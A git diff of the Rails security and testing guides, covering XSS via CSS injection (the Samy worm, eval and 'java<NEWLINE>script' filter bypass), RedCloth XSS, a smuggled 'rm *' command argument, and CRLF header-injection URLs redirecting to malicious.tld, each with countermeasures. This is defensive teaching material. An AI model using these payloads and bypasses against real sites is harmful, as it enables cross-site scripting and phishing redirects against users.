Another proof-of-concept webmail worm is Nduja, a cross-domain worm for four Italian webmail services. Find more details and a video demonstration on Rosario Valotta's website. Both webmail worms have the goal to harvest email addresses, something a criminal hacker could make money with.

-

In December 2006, 34,000 actual user names and passwords were stolen in a MySpace phishing attack. The idea of the attack was to create a profile page named “login_home_index_htmlâ€, so the URL looked very convincing. Specially-crafted HTML and CSS was used to hide the genuine MySpace content from the page and instead display its own login form.

-

The MySpace Samy worm will be discussed in the CSS Injection section.

+

The worms exploits a hole in Yahoo’s HTML/JavaScript filter, it usually filters all target and onload attributes from tags (because there can be JavaScript). The filter is applied only once, however, so the onload attribute with the worm code stays in place. This is a good example why blacklist filters are never complete and why it is hard to allow HTML/JavaScript in a web application.

+

Another proof-of-concept webmail worm is Nduja, a cross-domain worm for four Italian webmail services. Find more details and a video demonstration on Rosario Valotta’s website. Both webmail worms have the goal to harvest email addresses, something a criminal hacker could make money with.

+

In December 2006, 34,000 actual user names and passwords were stolen in a MySpace phishing attack. The idea of the attack was to create a profile page named “login_home_index_htmlâ€, so the URL looked very convincing. Specially-crafted HTML and CSS was used to hide the genuine MySpace content from the page and instead display its own login form.

+

The MySpace Samy worm will be discussed in the CSS Injection section.

8.4. CSS Injection

-

CSS Injection is actually JavaScript injection, because some browsers (IE, some versions of Safari and others) allow JavaScript in CSS. Think twice about allowing custom CSS in your web application.

-

CSS Injection is explained best by a well-known worm, the MySpace Samy worm. This worm automatically sent a friend request to Samy (the attacker) simply by visiting his profile. Within several hours he had over 1 million friend requests, but it creates too much traffic on MySpace, so that the site goes offline. The following is a technical explanation of the worm.

-

MySpace blocks many tags, however it allows CSS. So the worm's author put JavaScript into CSS like this:

+

-- CSS Injection is actually JavaScript injection, because some browsers (IE, some versions of Safari and others) allow JavaScript in CSS. Think twice about allowing custom CSS in your web application.

+

CSS Injection is explained best by a well-known worm, the MySpace Samy worm. This worm automatically sent a friend request to Samy (the attacker) simply by visiting his profile. Within several hours he had over 1 million friend requests, but it creates too much traffic on MySpace, so that the site goes offline. The following is a technical explanation of the worm.

+

MySpace blocks many tags, however it allows CSS. So the worm’s author put JavaScript into CSS like this:

<div style="background:url('javascript:alert(1)')">
-

So the payload is in the style attribute. But there are no quotes allowed in the payload, because single and double quotes have already been used. But JavaScript allows has a handy eval() function which executes any string as code.

+

So the payload is in the style attribute. But there are no quotes allowed in the payload, because single and double quotes have already been used. But JavaScript allows has a handy eval() function which executes any string as code.

<div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')">
-

The eval() function is a nightmare for blacklist input filters, as it allows the style attribute to hide the word “innerHTMLâ€:

+

The eval() function is a nightmare for blacklist input filters, as it allows the style attribute to hide the word “innerHTMLâ€:

alert(eval('document.body.inne' + 'rHTML'));
-

The next problem was MySpace filtering the word “javascriptâ€, so the author used “java<NEWLINE>script" to get around this:

+

The next problem was MySpace filtering the word “javascriptâ€, so the author used “java<NEWLINE>script" to get around this:

<div id="mycode" expr="alert('hah!')" style="background:url('java↵
script:eval(document.all.mycode.expr)')">
-

Another problem for the worm's author were CSRF security tokens. Without them he couldn't send a friend request over POST. He got around it by sending a GET to the page right before adding a the user and parsing the result for the CSRF token.

-

In the end, he got a 4 KB worm, which he injected into his profile page.

-

The moz-binding CSS property proved to be another way to introduce JavaScript in CSS in Gecko-based browsers (Firefox, for example).

+

Another problem for the worm’s author were CSRF security tokens. Without them he couldn’t send a friend request over POST. He got around it by sending a GET to the page right before adding a the user and parsing the result for the CSRF token.

+

In the end, he got a 4 KB worm, which he injected into his profile page.

+

The moz-binding CSS property proved to be another way to introduce JavaScript in CSS in Gecko-based browsers (Firefox, for example).

8.4.1. Countermeasures

-

This example, again, showed that a blacklist filter is never complete. However, as custom CSS in web applications is a quite rare feature, I am not aware of a whitelist CSS filter. If you want to allow custom colours or images, you can allow the user to choose them and build the CSS in the web application. Use Rails' sanitize() method as a model for a whitelist CSS filter, if you really need one.

+

This example, again, showed that a blacklist filter is never complete. However, as custom CSS in web applications is a quite rare feature, I am not aware of a whitelist CSS filter. If you want to allow custom colours or images, you can allow the user to choose them and build the CSS in the web application. Use Rails' sanitize() method as a model for a whitelist CSS filter, if you really need one.

8.5. Textile Injection

-

If you want to provide text formatting other than HTML (due to security), use a mark-up language which is converted to HTML on the server-side. RedCloth is such a language for Ruby, but without precautions, it is also vulnerable to XSS.

+

-- If you want to provide text formatting other than HTML (due to security), use a mark-up language which is converted to HTML on the server-side. RedCloth is such a language for Ruby, but without precautions, it is also vulnerable to XSS.

For example, RedCloth translates _test_ to <em>test<em>, which makes the text italic. However, up to the current version 3.0.4, it is still vulnerable to XSS. Get the http://www.redcloth.org[all-new version 4] that removed serious bugs. However, even that version has http://www.rorsecurity.info/journal/2008/10/13/new-redcloth-security.html[some security bugs], so the countermeasures still apply. Here is an example for version 3.0.4:
@@ -1220,64 +1027,64 @@ s = sanitize(user_input, :tags => tags, :attributes => %w(href title))>> RedCloth.new('<script>alert(1)</script>').to_html => "<script>alert(1)</script>"
-

Use the :filter_html option to remove HTML which was not created by the Textile processor.

+

Use the :filter_html option to remove HTML which was not created by the Textile processor.

>> RedCloth.new('<script>alert(1)</script>', [:filter_html]).to_html
 => "alert(1)"
-

However, this does not filter all HTML, a few tags will be left (by design), for example <a>:

+

However, this does not filter all HTML, a few tags will be left (by design), for example <a>:

>> RedCloth.new("<a href='javascript:alert(1)'>hello</a>", [:filter_html]).to_html
 => "<p><a href="javascript:alert(1)">hello</a></p>"

8.5.1. Countermeasures

-

It is recommended to use RedCloth in combination with a whitelist input filter, as described in the countermeasures against XSS.

+

It is recommended to use RedCloth in combination with a whitelist input filter, as described in the countermeasures against XSS.

8.6. Ajax Injection

-

The same security precautions have to be taken for Ajax actions as for “normal†ones. There is at least one exception, however: The output has to be escaped in the controller already, if the action doesn't render a view.

-

If you use the in_place_editor plugin, or actions that return a string, rather than rendering a view, you have to escape the return value in the action. Otherwise, if the return value contains a XSS string, the malicious code will be executed upon return to the browser. Escape any input value using the h() method.

+

-- The same security precautions have to be taken for Ajax actions as for “normal†ones. There is at least one exception, however: The output has to be escaped in the controller already, if the action doesn’t render a view.

+

If you use the in_place_editor plugin, or actions that return a string, rather than rendering a view, you have to escape the return value in the action. Otherwise, if the return value contains a XSS string, the malicious code will be executed upon return to the browser. Escape any input value using the h() method.

8.7. RJS Injection

-

Don't forget to escape in JavaScript (RJS) templates, too.

-

The RJS API generates blocks of JavaScript code based on Ruby code, thus allowing you to manipulate a view or parts of a view from the server side. If you allow user input in RJS templates, do escape it using escape_javascript() within JavaScript functions, and in HTML parts using h(). Otherwise an attacker could execute arbitrary JavaScript.

+

-- Don’t forget to escape in JavaScript (RJS) templates, too.

+

The RJS API generates blocks of JavaScript code based on Ruby code, thus allowing you to manipulate a view or parts of a view from the server side. If you allow user input in RJS templates, do escape it using escape_javascript() within JavaScript functions, and in HTML parts using h(). Otherwise an attacker could execute arbitrary JavaScript.

8.8. Command Line Injection

-

Use user-supplied command line parameters with caution.

-

If your application has to execute commands in the underlying operating system, there are several methods in Ruby: exec(command), syscall(command), system(command) and `command`. You will have to be especially careful with these functions if the user may enter the whole command, or a part of it. This is because in most shells, you can execute another command at the end of the first one, concatenating them with a semicolon (;) or a vertical bar (|).

-

A countermeasure is to use the system(command, parameters) method which passes command line parameters safely.

+

-- Use user-supplied command line parameters with caution.

+

If your application has to execute commands in the underlying operating system, there are several methods in Ruby: exec(command), syscall(command), system(command) and `command`. You will have to be especially careful with these functions if the user may enter the whole command, or a part of it. This is because in most shells, you can execute another command at the end of the first one, concatenating them with a semicolon (;) or a vertical bar (|).

+

A countermeasure is to use the system(command, parameters) method which passes command line parameters safely.

system("/bin/echo","hello; rm *")
 # prints "hello; rm *" and does not delete files

8.9. Header Injection

-

HTTP headers are dynamically generated and under certain circumstances user input may be injected. This can lead to false redirection, XSS or HTTP response splitting.

-

HTTP request headers have a Referer, User-Agent (client software) and Cookie field, among others. Response headers for example have a status code, Cookie and Location (redirection target URL) field. All of them are user-supplied and may be manipulated with more or less effort. Remember to escape these header fields, too. For example when you display the user agent in an administration area.

-

Besides that, it is important to know what you are doing when building response headers partly based on user input. For example you want to redirect the user back to a specific page. To do that you introduced a “referer“ field in a form to redirect to the given address:

+

-- HTTP headers are dynamically generated and under certain circumstances user input may be injected. This can lead to false redirection, XSS or HTTP response splitting.

+

HTTP request headers have a Referer, User-Agent (client software) and Cookie field, among others. Response headers for example have a status code, Cookie and Location (redirection target URL) field. All of them are user-supplied and may be manipulated with more or less effort. Remember to escape these header fields, too. For example when you display the user agent in an administration area.

+

Besides that, it is important to know what you are doing when building response headers partly based on user input. For example you want to redirect the user back to a specific page. To do that you introduced a “referer“ field in a form to redirect to the given address:

redirect_to params[:referer]
-

What happens is that Rails puts the string into the Location header field and sends a 302 (redirect) status to the browser. The first thing a malicious user would do, is this:

+

What happens is that Rails puts the string into the Location header field and sends a 302 (redirect) status to the browser. The first thing a malicious user would do, is this:

http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld
-

And due to a bug in (Ruby and) Rails up to version 2.1.2 (excluding it), a hacker may inject arbitrary header fields; for example like this:

+

And due to a bug in (Ruby and) Rails up to version 2.1.2 (excluding it), a hacker may inject arbitrary header fields; for example like this:

http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld%0d%0aX-Header:+Hi!
 http://www.yourapplication.com/controller/action?referer=path/at/your/app%0d%0aLocation:+http://www.malicious.tld
-

Note that "%0d%0a" is URL-encoded for "\r\n" which is a carriage-return and line-feed (CRLF) in Ruby. So the resulting HTTP header for the second example will be the following because the second Location header field overwrites the first.

+

Note that "%0d%0a" is URL-encoded for "\r\n" which is a carriage-return and line-feed (CRLF) in Ruby. So the resulting HTTP header for the second example will be the following because the second Location header field overwrites the first.

HTTP/1.1 302 Moved Temporarily
 (...)
 Location: http://www.malicious.tld
-

So attack vectors for Header Injection are based on the injection of CRLF characters in a header field. And what could an attacker do with a false redirection? He could redirect to a phishing site that looks the same as yours, but asks to login again (and sends the login credentials to the attacker). Or he could install malicious software through browser security holes on that site. Rails 2.1.2 escapes these characters for the Location field in the redirect_to method. Make sure you do it yourself when you build other header fields with user input.

+

So attack vectors for Header Injection are based on the injection of CRLF characters in a header field. And what could an attacker do with a false redirection? He could redirect to a phishing site that looks the same as yours, but asks to login again (and sends the login credentials to the attacker). Or he could install malicious software through browser security holes on that site. Rails 2.1.2 escapes these characters for the Location field in the redirect_to method. Make sure you do it yourself when you build other header fields with user input.

8.9.1. Response Splitting

-

If Header Injection was possible, Response Splitting might be, too. In HTTP, the header block is followed by two CRLFs and the actual data (usually HTML). The idea of Response Splitting is to inject two CRLFs into a header field, followed by another response with malicious HTML. The response will be:

+

If Header Injection was possible, Response Splitting might be, too. In HTTP, the header block is followed by two CRLFs and the actual data (usually HTML). The idea of Response Splitting is to inject two CRLFs into a header field, followed by another response with malicious HTML. The response will be:

HTTP/1.1 302 Found [First standard 302 response]
@@ -1295,12 +1102,12 @@ Connection: Keep-Alive
 Transfer-Encoding: chunked
 Content-Type: text/html
-

Under certain circumstances this would present the malicious HTML to the victim. However, this seems to work with Keep-Alive connections, only (and many browsers are using one-time connections). But you can't rely on this. In any case this is a serious bug, and you should update your Rails to version 2.0.5 or 2.1.2 to eliminate Header Injection (and thus response splitting) risks.

+

Under certain circumstances this would present the malicious HTML to the victim. However, this seems to work with Keep-Alive connections, only (and many browsers are using one-time connections). But you can’t rely on this. In any case this is a serious bug, and you should update your Rails to version 2.0.5 or 2.1.2 to eliminate Header Injection (and thus response splitting) risks.

9. Additional resources

-

The security landscape shifts and it is important to keep up to date, because missing a new vulnerability can be catastrophic. You can find additional resources about (Rails) security here:

-
    +

    The security landscape shifts and it is important to keep up to date, because missing a new vulnerability can be catastrophic. You can find additional resources about (Rails) security here:

    +

    10. Changelog

    - -
      + +
      • November 1, 2008: First approved version by Heiko Webers @@ -1340,7 +1147,7 @@ November 1, 2008: First approved version by Heiko Webers

    -
    -
+
+ diff --git a/vendor/rails/railties/doc/guides/html/testing_rails_applications.html b/vendor/rails/railties/doc/guides/html/testing_rails_applications.html index b8a99767..16822904 100644 --- a/vendor/rails/railties/doc/guides/html/testing_rails_applications.html +++ b/vendor/rails/railties/doc/guides/html/testing_rails_applications.html @@ -1,301 +1,133 @@ - - A Guide to Testing Rails Applications - - - - - + + A Guide to Testing Rails Applications + + + + - +

A line by line examination of this file will help get you oriented to Rails testing code and terminology.

-
require 'test_helper'
-
-

As you know by now that test_helper.rb specifies the default configuration to run our tests. This is included with all the tests, so any methods added to this file are available to all your tests.

+
require 'test_helper'
+

As you know by now that test_helper.rb specifies the default configuration to run our tests. This is included with all the tests, so any methods added to this file are available to all your tests.

-
class PostTest < ActiveSupport::TestCase
-
-

The PostTest class defines a test case because it inherits from ActiveSupport::TestCase. PostTest thus has all the methods available from ActiveSupport::TestCase. You'll see those methods a little later in this guide.

+
class PostTest < ActiveSupport::TestCase
+

The PostTest class defines a test case because it inherits from ActiveSupport::TestCase. PostTest thus has all the methods available from ActiveSupport::TestCase. You’ll see those methods a little later in this guide.

-
def test_truth
-
-

Any method defined within a test case that begins with test (case sensitive) is simply called a test. So, test_password, test_valid_password and testValidPassword all are legal test names and are run automatically when the test case is run.

+
def test_truth
+

Any method defined within a test case that begins with test (case sensitive) is simply called a test. So, test_password, test_valid_password and testValidPassword all are legal test names and are run automatically when the test case is run.

-
assert true
-
-

This line of code is called an assertion. An assertion is a line of code that evaluates an object (or expression) for expected results. For example, an assertion can check:

-
    +
    assert true
+

This line of code is called an assertion. An assertion is a line of code that evaluates an object (or expression) for expected results. For example, an assertion can check:

+
  • is this value = that value? @@ -560,13 +381,13 @@ does this line of code throw an exception?

  • -is the user's password greater than 5 characters? +is the user’s password greater than 5 characters?

-

Every test contains one or more assertions. Only when all the assertions are successful the test passes.

+

Every test contains one or more assertions. Only when all the assertions are successful the test passes.

3.1. Preparing you Application for Testing

-

Before you can run your tests you need to ensure that the test database structure is current. For this you can use the following rake commands:

+

Before you can run your tests you need to ensure that the test database structure is current. For this you can use the following rake commands:

$ rake db:migrate
 ...
-$ rake db:test:load
-
-

Above rake db:migrate runs any pending migrations on the developemnt environment and updates db/schema.rb. rake db:test:load recreates the test database from the current db/schema.rb. On subsequent attempts it is a good to first run db:test:prepare as it first checks for pending migrations and warns you appropriately.

+$ rake db:test:load +

Above rake db:migrate runs any pending migrations on the developemnt environment and updates db/schema.rb. rake db:test:load recreates the test database from the current db/schema.rb. On subsequent attempts it is a good to first run db:test:prepare as it first checks for pending migrations and warns you appropriately.

- +
Note db:test:prepare will fail with an error if db/schema.rb doesn't exists.db:test:prepare will fail with an error if db/schema.rb doesn’t exists.
-

3.1.1. Rake Tasks for Preparing you Application for Testing ==

-

--------------------------------`---------------------------------------------------- -Tasks Description

-
-
-
+rake db:test:clone+            Recreate the test database from the current environment's database schema
-+rake db:test:clone_structure+  Recreate the test databases from the development structure
-+rake db:test:load+             Recreate the test database from the current +schema.rb+
-+rake db:test:prepare+          Check for pending migrations and load the test schema
-+rake db:test:purge+            Empty the test database.
-
+

3.1.1. Rake Tasks for Preparing your Application for Testing

+
+ +++ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Tasks Description

rake db:test:clone

Recreate the test database from the current environment’s database schema

rake db:test:clone_structure

Recreate the test databases from the development structure

rake db:test:load

Recreate the test database from the current schema.rb

rake db:test:prepare

Check for pending migrations and load the test schema

rake db:test:purge

Empty the test database.

+
- +
Tip You can see all these rake tasks and their descriptions by running rake —tasks —describeYou can see all these rake tasks and their descriptions by running rake \-\-tasks \-\-describe

3.2. Running Tests

-

Running a test is as simple as invoking the file containing the test cases through Ruby:

+

Running a test is as simple as invoking the file containing the test cases through Ruby:

def test_should_not_save_post_without_title
   post = Post.new
   assert !post.save
-end
-
-

Let us run this newly added test.

+end +

Let us run this newly added test.

$ ruby unit/post_test.rb -n test_should_not_save_post_without_title
@@ -664,7 +509,7 @@ test_should_not_save_post_without_title(PostTest)
 
 1 tests, 1 assertions, 1 failures, 0 errors
-

In the output, F denotes a failure. You can see the corresponding trace shown under 1) along with the name of the failing test. The next few lines contain the stack trace followed by a message which mentions the actual value and the expected value by the assertion. The default assertion messages provide just enough information to help pinpoint the error. To make the assertion failure message more readable every assertion provides an optional message parameter, as shown here:

+

In the output, F denotes a failure. You can see the corresponding trace shown under 1) along with the name of the failing test. The next few lines contain the stack trace followed by a message which mentions the actual value and the expected value by the assertion. The default assertion messages provide just enough information to help pinpoint the error. To make the assertion failure message more readable every assertion provides an optional message parameter, as shown here:

def test_should_not_save_post_without_title
   post = Post.new
   assert !post.save, "Saved the post without a title"
-end
-
-

Running this test shows the friendlier assertion message:

+end +

Running this test shows the friendlier assertion message:

$ ruby unit/post_test.rb -n test_should_not_save_post_without_title
@@ -694,7 +538,7 @@ Saved the post without a title.
 
 1 tests, 1 assertions, 1 failures, 0 errors
-

Now to get this test to pass we can add a model level validation for the title field.

+

Now to get this test to pass we can add a model level validation for the title field.

class Post < ActiveRecord::Base
   validates_presence_of :title
-end
-
-

Now the test should pass. Let us verify by running the test again:

+end +

Now the test should pass. Let us verify by running the test again:

$ ruby unit/post_test.rb -n test_should_not_save_post_without_title
@@ -715,7 +558,7 @@ Finished in 0.193608 seconds.
 
 1 tests, 1 assertions, 0 failures, 0 errors
-

Now if you noticed we first wrote a test which fails for a desired functionality, then we wrote some code which adds the functionality and finally we ensured that our test passes. This approach to software development is referred to as Test-Driven Development (TDD).

+

Now if you noticed we first wrote a test which fails for a desired functionality, then we wrote some code which adds the functionality and finally we ensured that our test passes. This approach to software development is referred to as Test-Driven Development (TDD).

@@ -724,7 +567,7 @@ Finished in 0.193608 seconds. Many Rails developers practice Test-Driven Development (TDD). This is an excellent way to build up a test suite that exercises every part of your application. TDD is beyond the scope of this guide, but one place to start is with 15 TDD steps to create a Rails application.
-

To see how an error gets reported, here's a test containing an error:

+

To see how an error gets reported, here’s a test containing an error:

# some_undefined_variable is not defined elsewhere in the test case some_undefined_variable assert true -end -
-

Now you can see even more output in the console from running the tests:

+end +

Now you can see even more output in the console from running the tests:

$ ruby unit/post_test.rb -n test_should_report_error
@@ -755,7 +597,7 @@ NameError: undefined local variable or method `some_undefined_variable' for #<
 
 1 tests, 0 assertions, 0 failures, 1 errors
-

Notice the E in the output. It denotes a test with error.

+

Notice the E in the output. It denotes a test with error.

@@ -765,285 +607,171 @@ NameError: undefined local variable or method `some_undefined_variable' for #<

3.3. What to Include in Your Unit Tests

-

Ideally you would like to include a test for everything which could possibly break. It's a good practice to have at least one test for each of your validations and at least one test for every method in your model.

+

Ideally you would like to include a test for everything which could possibly break. It’s a good practice to have at least one test for each of your validations and at least one test for every method in your model.

3.4. Assertions Available

-

By now you've caught a glimpse of some of the assertions that are available. Assertions are the worker bees of testing. They are the ones that actually perform the checks to ensure that things are going as planned.

-

There are a bunch of different types of assertions you can use. Here's the complete list of assertions that ship with test/unit, the testing library used by Rails. The [msg] parameter is an optional string message you can specify to make your test failure messages clearer. It's not required.

+

By now you’ve caught a glimpse of some of the assertions that are available. Assertions are the worker bees of testing. They are the ones that actually perform the checks to ensure that things are going as planned.

+

There are a bunch of different types of assertions you can use. Here’s the complete list of assertions that ship with test/unit, the testing library used by Rails. The [msg] parameter is an optional string message you can specify to make your test failure messages clearer. It’s not required.

--- - - - - +++ + + + + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
- Assertion - - Purpose -
Assertion Purpose
- assert( boolean, [msg] ) - - Ensures that the object/expression is true. -
- assert_equal( obj1, obj2, [msg] ) - - Ensures that obj1 == obj2 is true. -
- assert_not_equal( obj1, obj2, [msg] ) - - Ensures that obj1 == obj2 is false. -
- assert_same( obj1, obj2, [msg] ) - - Ensures that obj1.equal?(obj2) is true. -
- assert_not_same( obj1, obj2, [msg] ) - - Ensures that obj1.equal?(obj2) is false. -
- assert_nil( obj, [msg] ) - - Ensures that obj.nil? is true. -
- assert_not_nil( obj, [msg] ) - - Ensures that obj.nil? is false. -
- assert_match( regexp, string, [msg] ) - - Ensures that a string matches the regular expression. -
- assert_no_match( regexp, string, [msg] ) - - Ensures that a string doesn't matches the regular expression. -
- assert_in_delta( expecting, actual, delta, [msg] ) - - Ensures that the numbers expecting and actual are within delta of each other. -
- assert_throws( symbol, [msg] ) { block } - - Ensures that the given block throws the symbol. -
- assert_raises( exception1, exception2, … ) { block } - - Ensures that the given block raises one of the given exceptions. -
- assert_nothing_raised( exception1, exception2, … ) { block } - - Ensures that the given block doesn't raise one of the given exceptions. -
- assert_instance_of( class, obj, [msg] ) - - Ensures that obj is of the class type. -
- assert_kind_of( class, obj, [msg] ) - - Ensures that obj is or descends from class. -
- assert_respond_to( obj, symbol, [msg] ) - - Ensures that obj has a method called symbol. -
- assert_operator( obj1, operator, obj2, [msg] ) - - Ensures that obj1.operator(obj2) is true. -
- assert_send( array, [msg] ) - - Ensures that executing the method listed in array[1] on the object in array[0] with the parameters of array[2 and up] is true. This one is weird eh? -
- flunk( [msg] ) - - Ensures failure. This is useful to explicitly mark a test that isn't finished yet. -

assert( boolean, [msg] )

Ensures that the object/expression is true.

assert_equal( obj1, obj2, [msg] )

Ensures that obj1 == obj2 is true.

assert_not_equal( obj1, obj2, [msg] )

Ensures that obj1 == obj2 is false.

assert_same( obj1, obj2, [msg] )

Ensures that obj1.equal?(obj2) is true.

assert_not_same( obj1, obj2, [msg] )

Ensures that obj1.equal?(obj2) is false.

assert_nil( obj, [msg] )

Ensures that obj.nil? is true.

assert_not_nil( obj, [msg] )

Ensures that obj.nil? is false.

assert_match( regexp, string, [msg] )

Ensures that a string matches the regular expression.

assert_no_match( regexp, string, [msg] )

Ensures that a string doesn’t matches the regular expression.

assert_in_delta( expecting, actual, delta, [msg] )

Ensures that the numbers expecting and actual are within delta of each other.

assert_throws( symbol, [msg] ) { block }

Ensures that the given block throws the symbol.

assert_raises( exception1, exception2, ... ) { block }

Ensures that the given block raises one of the given exceptions.

assert_nothing_raised( exception1, exception2, ... ) { block }

Ensures that the given block doesn’t raise one of the given exceptions.

assert_instance_of( class, obj, [msg] )

Ensures that obj is of the class type.

assert_kind_of( class, obj, [msg] )

Ensures that obj is or descends from class.

assert_respond_to( obj, symbol, [msg] )

Ensures that obj has a method called symbol.

assert_operator( obj1, operator, obj2, [msg] )

Ensures that obj1.operator(obj2) is true.

assert_send( array, [msg] )

Ensures that executing the method listed in array[1] on the object in array[0] with the parameters of array[2 and up] is true. This one is weird eh?

flunk( [msg] )

Ensures failure. This is useful to explicitly mark a test that isn’t finished yet.

-

Because of the modular nature of the testing framework, it is possible to create your own assertions. In fact, that's exactly what Rails does. It includes some specialized assertions to make your life easier.

+

Because of the modular nature of the testing framework, it is possible to create your own assertions. In fact, that’s exactly what Rails does. It includes some specialized assertions to make your life easier.

- +
Note Creating your own assertions is an advanced topic that we won't cover in this tutorial.Creating your own assertions is an advanced topic that we won’t cover in this tutorial.

3.5. Rails Specific Assertions

-

Rails adds some custom assertions of its own to the test/unit framework:

+

Rails adds some custom assertions of its own to the test/unit framework:

--- - - - - +++ + + + + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
- Assertion - - Purpose -
Assertion Purpose
- assert_valid(record) - - Ensures that the passed record is valid by Active Record standards and returns any error messages if it is not. -
- assert_difference(expressions, difference = 1, message = nil) {|| …} - - Test numeric difference between the return value of an expression as a result of what is evaluated in the yielded block. -
- assert_no_difference(expressions, message = nil, &block) - - Asserts that the numeric result of evaluating an expression is not changed before and after invoking the passed in block. -
- assert_recognizes(expected_options, path, extras={}, message=nil) - - Asserts that the routing of the given path was handled correctly and that the parsed options (given in the expected_options hash) match path. Basically, it asserts that Rails recognizes the route given by expected_options. -
- assert_generates(expected_path, options, defaults={}, extras = {}, message=nil) - - Asserts that the provided options can be used to generate the provided path. This is the inverse of assert_recognizes. The extras parameter is used to tell the request the names and values of additional request parameters that would be in a query string. The message parameter allows you to specify a custom error message for assertion failures. -
- assert_response(type, message = nil) - - Asserts that the response comes with a specific status code. You can specify :success to indicate 200, :redirect to indicate 300-399, :missing to indicate 404, or :error to match the 500-599 range -
- assert_redirected_to(options = {}, message=nil) - - Assert that the redirection options passed in match those of the redirect called in the latest action. This match can be partial, such that assert_redirected_to(:controller ⇒ "weblog") will also match the redirection of redirect_to(:controller ⇒ "weblog", :action ⇒ "show") and so on. -
- assert_template(expected = nil, message=nil) - - Asserts that the request was rendered with the appropriate template file. -

assert_valid(record)

Ensures that the passed record is valid by Active Record standards and returns any error messages if it is not.

assert_difference(expressions, difference = 1, message = nil) {...}

Test numeric difference between the return value of an expression as a result of what is evaluated in the yielded block.

assert_no_difference(expressions, message = nil, &block)

Asserts that the numeric result of evaluating an expression is not changed before and after invoking the passed in block.

assert_recognizes(expected_options, path, extras={}, message=nil)

Asserts that the routing of the given path was handled correctly and that the parsed options (given in the expected_options hash) match path. Basically, it asserts that Rails recognizes the route given by expected_options.

assert_generates(expected_path, options, defaults={}, extras = {}, message=nil)

Asserts that the provided options can be used to generate the provided path. This is the inverse of assert_recognizes. The extras parameter is used to tell the request the names and values of additional request parameters that would be in a query string. The message parameter allows you to specify a custom error message for assertion failures.

assert_response(type, message = nil)

Asserts that the response comes with a specific status code. You can specify :success to indicate 200, :redirect to indicate 300-399, :missing to indicate 404, or :error to match the 500-599 range

assert_redirected_to(options = {}, message=nil)

Assert that the redirection options passed in match those of the redirect called in the latest action. This match can be partial, such that assert_redirected_to(:controller => "weblog") will also match the redirection of redirect_to(:controller => "weblog", :action => "show") and so on.

assert_template(expected = nil, message=nil)

Asserts that the request was rendered with the appropriate template file.

-

You'll see the usage of some of these assertions in the next chapter.

+

You’ll see the usage of some of these assertions in the next chapter.

4. Functional Tests for Your Controllers

-

In Rails, testing the various actions of a single controller is called writing functional tests for that controller. Controllers handle the incoming web requests to your application and eventually respond with a rendered view.

+

In Rails, testing the various actions of a single controller is called writing functional tests for that controller. Controllers handle the incoming web requests to your application and eventually respond with a rendered view.

4.1. What to include in your Functional Tests

-

You should test for things such as:

-
    +

    You should test for things such as:

    +
    • was the web request successful? @@ -1070,8 +798,8 @@ was the appropriate message displayed to the user in the view

    -

    Now that we have used Rails scaffold generator for our Post resource, it has already created the controller code and functional tests. You can take look at the file posts_controller_test.rb in the test/functional directory.

    -

    Let me take you through one such test, test_should_get_index from the file posts_controller_test.rb.

    +

    Now that we have used Rails scaffold generator for our Post resource, it has already created the controller code and functional tests. You can take look at the file posts_controller_test.rb in the test/functional directory.

    +

    Let me take you through one such test, test_should_get_index from the file posts_controller_test.rb.

    get :index assert_response :success assert_not_nil assigns(:posts) -end -
    -

    In the test_should_get_index test, Rails simulates a request on the action called index, making sure the request was successful and also ensuring that it assigns a valid posts instance variable.

    -

    The get method kicks off the web request and populates the results into the response. It accepts 4 arguments:

    -
      +end
+

In the test_should_get_index test, Rails simulates a request on the action called index, making sure the request was successful and also ensuring that it assigns a valid posts instance variable.

+

The get method kicks off the web request and populates the results into the response. It accepts 4 arguments:

+
  • The action of the controller you are requesting. This can be in the form of a string or a symbol. @@ -1107,22 +834,20 @@ An optional hash of flash values.

-

Example: Calling the :show action, passing an id of 12 as the params and setting a user_id of 5 in the session:

+

Example: Calling the :show action, passing an id of 12 as the params and setting a user_id of 5 in the session:

-
get(:show, {'id' => "12"}, {'user_id' => 5})
-
-

Another example: Calling the :view action, passing an id of 12 as the params, this time with no session, but with a flash message.

+
get(:show, {'id' => "12"}, {'user_id' => 5})
+

Another example: Calling the :view action, passing an id of 12 as the params, this time with no session, but with a flash message.

-
get(:view, {'id' => '12'}, nil, {'message' => 'booya!'})
-
+
get(:view, {'id' => '12'}, nil, {'message' => 'booya!'})
@@ -1131,7 +856,7 @@ http://www.gnu.org/software/src-highlite --> If you try running test_should_create_post test from posts_controller_test.rb it will fail on account of the newly added model level validation and rightly so.
-

Let us modify test_should_create_post test in posts_controller_test.rb so that all our test pass:

+

Let us modify test_should_create_post test in posts_controller_test.rb so that all our test pass:

end assert_redirected_to post_path(assigns(:post)) -end -
-

Now you can try running all the tests and they should pass.

+end +

Now you can try running all the tests and they should pass.

4.2. Available Request Types for Functional Tests

-

If you're familiar with the HTTP protocol, you'll know that get is a type of request. There are 5 request types supported in Rails functional tests:

-
    +

    If you’re familiar with the HTTP protocol, you’ll know that get is a type of request. There are 5 request types supported in Rails functional tests:

    +
    • get @@ -1175,10 +899,10 @@ http://www.gnu.org/software/src-highlite -->

    -

    All of request types are methods that you can use, however, you'll probably end up using the first two more often than the others.

    +

    All of request types are methods that you can use, however, you’ll probably end up using the first two more often than the others.

    4.3. The 4 Hashes of the Apocalypse

    -

    After a request has been made by using one of the 5 methods (get, post, etc.) and processed, you will have 4 Hash objects ready for use:

    -
      +

      After a request has been made by using one of the 5 methods (get, post, etc.) and processed, you will have 4 Hash objects ready for use:

      +
      • assigns - Any objects that are stored as instance variables in actions for use in views. @@ -1200,7 +924,7 @@ http://www.gnu.org/software/src-highlite -->

      -

      As is the case with normal Hash objects, you can access the values by referencing the keys by string. You can also reference them by symbol name, except for assigns. For example:

      +

      As is the case with normal Hash objects, you can access the values by referencing the keys by string. You can also reference them by symbol name, except for assigns. For example:

      cookies["are_good_for_u"] cookies[:are_good_for_u] # Because you can't use assigns[:something] for historical reasons: - assigns["something"] assigns(:something) -
      + assigns["something"] assigns(:something)

4.4. Instance Variables Available

-

